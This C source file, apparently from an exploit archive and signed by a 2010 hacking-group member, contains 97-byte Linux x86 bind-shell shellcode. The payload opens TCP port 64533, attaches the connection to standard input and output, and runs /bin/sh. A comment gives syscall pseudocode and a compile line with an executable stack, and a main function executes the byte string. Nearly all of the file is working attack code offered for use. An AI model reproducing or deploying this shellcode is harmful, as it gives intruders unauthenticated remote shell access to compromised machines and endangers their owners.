#include <stdio.h> #include <string.h>
/* 1 ############################################################### 1 0 I'm Magnefikko member from Inj3ct0r Team & Promhyl Studies Team 1 1 ############################################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
by Magnefikko 05.07.2010 magnefikko@gmail.com Promhyl Studies :: http://promhyl.tk Subgroup: #PRekambr Name: 97 bytes bind sh@64533 Platform: Linux x86 sock = socket(PF_INET, SOCK_STREAM, 0); bind(sock, *[2, 64533, 0], 16); listen(sock, 5); nsock = accept(sock, 0, 0); dup2(nsock, 0); dup2(nsock, 1); execve("/bin/sh", 0, 0); // http://promhyl.tk/index.php?a=art&art=83
gcc -Wl,-z,execstack filename.c
shellcode:
\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80
*/
int main(){ char shell[] = "\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"; printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.tk\n\nstrlen(shell) = %d\n", strlen(shell)); (*(void (*)()) shell)(); }
|